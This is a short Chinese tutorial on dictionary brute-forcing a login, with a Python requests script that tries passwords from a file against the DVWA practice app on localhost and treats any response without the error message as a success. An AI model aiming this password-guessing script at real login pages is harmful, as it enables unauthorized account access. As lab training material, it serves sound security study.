1、从字典读取值,生成密码
2、HTTP连接到需要暴破的地址
与爬虫请求request方法类似
3、获得HTTP响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”
4、如果有提示,就继续下一次循环
5、如果没有,就代表暴破成功
import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/dvwa/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url=url, params={"username":"admin","password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low;security=medium;PHPSESSID=iuaortirav4jf0hp9l0kvtle4f"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()